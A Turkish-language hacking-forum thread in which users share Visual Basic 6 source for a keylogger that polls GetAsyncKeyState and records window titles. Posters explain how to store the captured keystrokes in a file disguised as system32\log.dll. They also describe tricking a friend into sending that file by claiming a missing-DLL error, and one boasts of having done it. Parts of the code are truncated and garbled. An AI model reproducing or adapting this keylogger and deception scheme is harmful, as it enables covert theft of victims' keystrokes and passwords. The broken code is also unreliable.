Write

kardeş bide şunu kaydetmeyi bi öğretsen

End If End Sub şöyle bi kodla kayıtları log. dll diye bi dosyaya kaydedebilirsiniz. sonra arkadaşınıza benim pc sistem hatası verio bi dosyayı bulamıo internette bulamadım senin pc deki at dersiniz :S işte C:\WINDOWS\system32\log. dll i at dersiniz eğer yerse size kayıtlar kendi gelir

1 tane text 1 1 tane timer1. interval degeri 2 Program logları kydetmıyor depoluyor devamlı ama siz bir iki rotuslan kaydetme işini halledebilirsiniz. Kolay gelsin Private Declare Function GetForegroundWindow Lib "user32" As Long Private Declare Function GetAsyncKeyState Lib "user32" As Integer Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" As Long Private Declare Function GetKeyState Lib "user32" As Integer Dim a(0 To 9) As String Dim Baslik As String Private Sub Timer1_Timer On Error Resume Next Dim BasilanTus As String Dim dongu As Byte 'If GetForegroundWindow <> HandleNoSu Then ' HandleNoSu = GetForegroundWindow If Baslik <> BasligiAl Then Baslik = BasligiAl 'Else Text1 = Text1 & " " & vbCrLf End If 'End If If GetAsyncKeyState(13) = -32767 Then BasilanTus = vbCrLf GoTo tusuyaz End If If GetAsyncKeyState(8) = -32767 Then Text1 = Left(Text1, Len(Text1) - 1) GoTo tusuyaz End If If GetAsyncKeyState(32) = -32767 Then BasilanTus = " " GoTo tusuyaz End If If GetAsyncKeyState(186) = -32767 Then If ShiftTusu = True Then BasilanTus = ":" If ShiftTusu = False Then BasilanTus = ";" GoTo tusuyaz End If If GetAsyncKeyState(187) = -32767 Then If ShiftTusu = True Then BasilanTus = "+" If ShiftTusu = False Then BasilanTus = "=" GoTo tusuyaz End If If GetAsyncKeyState(188) = -32767 Then If ShiftTusu = True Then BasilanTus = "<" If ShiftTusu = False Then BasilanTus = "," GoTo tusuyaz End If If GetAsyncKeyState(189) = -32767 Then If ShiftTusu = True Then BasilanTus = "_" If ShiftTusu = False Then BasilanTus = "-" GoTo tusuyaz End If If GetAsyncKeyState(190) = -32767 Then If ShiftTusu = True Then BasilanTus = ">" If ShiftTusu = False Then BasilanTus = "." GoTo tusuyaz End If If GetAsyncKeyState(191) = -32767 Then If ShiftTusu = True Then BasilanTus = "?" If ShiftTusu = False Then BasilanTus = "/" GoTo tusuyaz End If If GetAsyncKeyState(192) = -32767 Then If ShiftTusu = True Then BasilanTus = " " If ShiftTusu = False Then BasilanTus = "`" GoTo tusuyaz End If If GetAsyncKeyState(96) = -32767 Then If ShiftTusu = False Then BasilanTus = "0" GoTo tusuyaz End If If GetAsyncKeyState(97) = -32767 Then If ShiftTusu = False Then BasilanTus = "1" GoTo tusuyaz End If If GetAsyncKeyState(98) = -32767 Then If ShiftTusu = False Then BasilanTus = "2" GoTo tusuyaz End If If GetAsyncKeyState(99) = -32767 Then If ShiftTusu = False Then BasilanTus = "3" GoTo tusuyaz End If If GetAsyncKeyState(100) = -32767 Then If ShiftTusu = False Then BasilanTus = "4" GoTo tusuyaz End If If GetAsyncKeyState(101) = -32767 Then If ShiftTusu = False Then BasilanTus = "5" GoTo tusuyaz End If If GetAsyncKeyState(102) = -32767 Then If ShiftTusu = False Then BasilanTus = "6" GoTo tusuyaz End If If GetAsyncKeyState(103) = -32767 Then If ShiftTusu = False Then BasilanTus = "7" GoTo tusuyaz End If If GetAsyncKeyState(104) = -32767 Then If ShiftTusu = False Then BasilanTus = "8" GoTo tusuyaz End If If GetAsyncKeyState(105) = -32767 Then If ShiftTusu = False Then BasilanTus = "9" GoTo tusuyaz End If If GetAsyncKeyState(106) = -32767 Then If ShiftTusu = False Then BasilanTus = " " GoTo tusuyaz End If If GetAsyncKeyState(107) = -32767 Then If ShiftTusu = False Then BasilanTus = "+" GoTo tusuyaz End If If GetAsyncKeyState(108) = -32767 Then If ShiftTusu = False Then BasilanTus = "" Text1. Text = Text1. Text & vbCrLf GoTo tusuyaz End If If GetAsyncKeyState(109) = -32767 Then If ShiftTusu = False Then BasilanTus = "-" GoTo tusuyaz End If If GetAsyncKeyState(110) = -32767 Then If ShiftTusu = False Then BasilanTus = "." GoTo tusuyaz End If If GetAsyncKeyState(111) = -32767 Then If ShiftTusu = False Then BasilanTus = "/" GoTo tusuyaz End If If GetAsyncKeyState(219) = -32767 Then If ShiftTusu = True Then BasilanTus = "{" If ShiftTusu = False Then BasilanTus = " " GoTo tusuyaz End If If GetAsyncKeyState(222) = -32767 Then If ShiftTusu = True Then BasilanTus = Chr(34) If ShiftTusu = False Then BasilanTus = "'" GoTo tusuyaz End If dongu = 48 Do Until dongu = 91 If GetAsyncKeyState = -32767 Then If dongu >= 65 And dongu <= 90 Then If CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr GoTo tusuyaz End If If dongu >= 48 And dongu <= 57 And ShiftTusu = True Then If ShiftTusu = True Then BasilanTus = a(Val(Chr GoTo tusuyaz End If End If End If dongu = dongu + 1 Loop Exit Sub tusuyaz: Text1. Text = Text1. Text & BasilanTus End Sub Function BasligiAl Dim hWndTitle As String hWndTitle = String(GetWindowTextLength , 0) GetWindowText hwnd, hWndTitle, (GetWindowTextLength + 1) BasligiAl = hWndTitle End Function Public Sub tusuyaz Text1. Text = Text1 & BasilanTus Text1. SelLength = Len(Text1) End Sub Public Function ShiftTusu As Boolean ShiftTusu = CBool(GetAsyncKeyState End Function Public Function CapsLockTusu As Boolean CapsLockTusu = CBool(GetKeyState And 1) End Function

arkadaşlar bende böyle bişey yapmıştım ama bilgiler gelmiodu mail de attıramamıştım ama şöyle bişey deneye bilirsiniz bi arkadaşa yaptım yuttu Private Sub Timer1_Timer zaman = zaman + 1 If zaman Mod 5 = 0 Then Open "C:\WINDOWS\system32\log. dll" For Append As

sağol CoDeR_EmRaH deneyeceğim eminim işe yarar.